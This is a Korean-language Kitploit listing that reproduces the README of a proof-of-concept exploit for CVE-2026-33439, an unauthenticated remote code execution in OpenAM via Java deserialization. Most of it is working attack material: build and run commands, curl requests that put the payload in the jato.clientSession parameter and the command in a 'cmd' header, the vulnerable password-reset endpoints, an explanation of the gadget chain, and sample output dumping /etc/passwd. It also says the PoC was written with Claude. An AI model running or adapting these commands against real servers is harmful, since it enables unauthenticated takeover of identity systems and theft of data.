Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33439-PoC — OpenAM 사전 인증 RCE(CVE-2026-33439)를 위한 익스플로잇으로, Java 역직렬화 가젯 체인을 사용하여 명령을 실행하고 출력을 HTTP 응답에 직접 반환합니다. | Kitploit
도구/GitHubGitHub/ibonok/cve-2026-33439-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubibonok/cve-2026-33439-poc

CVE-2026-33439-PoC

OpenAM 사전 인증 RCE(CVE-2026-33439)를 위한 익스플로잇으로, Java 역직렬화 가젯 체인을 사용하여 명령을 실행하고 출력을 HTTP 응답에 직접 반환합니다.

저장소 보기
2194개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33439 — OpenAM 사전 인증 RCE (Echo 모드)

명령 출력이 HTTP 응답에 직접 포함됩니다 — DNS 외부 유출이나 OOB가 필요 없습니다.

역직렬화 중 활성 JATO ThreadLocal 요청/응답에 접근하기 위해 com.iplanet.jato.RequestManager.getRequestContext()를 사용합니다. 기존 Tomcat echo 기법(Thread.target / ThreadGroup.threads 탐색)이 실패하는 Java 21+에서 작동합니다.

사전 요구 사항

  • JDK 11+ (런타임 시 translet 컴파일을 위해 javac 필요)
  • 클래스패스에 click-nodeps-2.3.0.jar 및 xalan-2.7.x.jar가 있는 대상 OpenAM

확인된 취약 엔드포인트

엔드포인트Echo 출력
/sso/ui/PWResetUserValidationHTTP 200, 본문에 명령 출력
/sso/ui/PWResetQuestionHTTP 200, 본문에 명령 출력
/sso/ui/PWResetSuccessHTTP 200, 본문에 명령 출력

또한 테스트했지만 echo 출력 없음(역직렬화는 여전히 트리거됨):

  • /sso/ui/PWResetInvalidURL — 오류 페이지 반환
  • /sso/ui/PWResetUncaughtException — 오류 페이지 반환

빌드

root@kitploit:~
./build.sh

사용법

JAR은 --add-opens JVM 플래그를 자동으로 추가합니다 — 수동으로 지정할 필요가 없습니다.

root@kitploit:~
# 올인원: 페이로드 생성 + 전송 + 출력 표시 (Burp를 통해 프록시)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'

# Burp 프록시 없이
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy

# 재사용 가능한 페이로드 생성 (명령은 요청 시 'cmd' 헤더에서 가져옴)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"

확인된 결과 (2026-04-21)

root@kitploit:~
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)

$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash

작동 원리

  1. PriorityQueue 역직렬화 페이로드 생성 (Click1 + Xalan TemplatesImpl 가젯 체인)
  2. translet 바이트코드가 RequestManager.getRequestContext()를 호출하여 활성 JATO 요청/응답을 가져옴
  3. cmd HTTP 헤더를 읽고 sh -c <cmd>를 실행하여 stdout+stderr를 response.getOutputStream()에 기록
  4. 페이로드는 OpenAM 형식 Base64로 인코딩됨 (\x00 접두사 + URL 안전 Base64, 패딩 없음)
  5. /sso/ui/PWResetUserValidation?jato.clientSession=<payload>로 전송 (인증 없음)

디렉터리 구조

root@kitploit:~
CVE-2026-33439-PoC-echo/
  CVE-2026-33439-Echo.jar    # 익스플로잇 JAR
  build.sh                   # 빌드 스크립트
  MANIFEST.MF                # JAR 매니페스트
  README.md                  # 이 파일
  lib/                       # 종속성 (JAR 옆에 있어야 함)
    click-nodeps-2.3.0.jar
    xalan-2.7.1.jar
    serializer-2.7.3.jar
    javax.servlet-api-4.0.1.jar
  src/
    CVE_2026_33439_Echo.java # 소스 코드

수정 사항

OpenAM 커밋 014007c63cacc834cc795a89fac0e611aebc4a32에서 패치됨 — SessionEncodeURL.readSessionID()의 ObjectInputStream에 클래스 필터를 추가합니다.

기타:

PoC는 Claude를 사용하여 작성되었습니다. 프롬프트는 분석 보고서(https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce)와 Git 커밋(https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)이었습니다.

도구 다운로드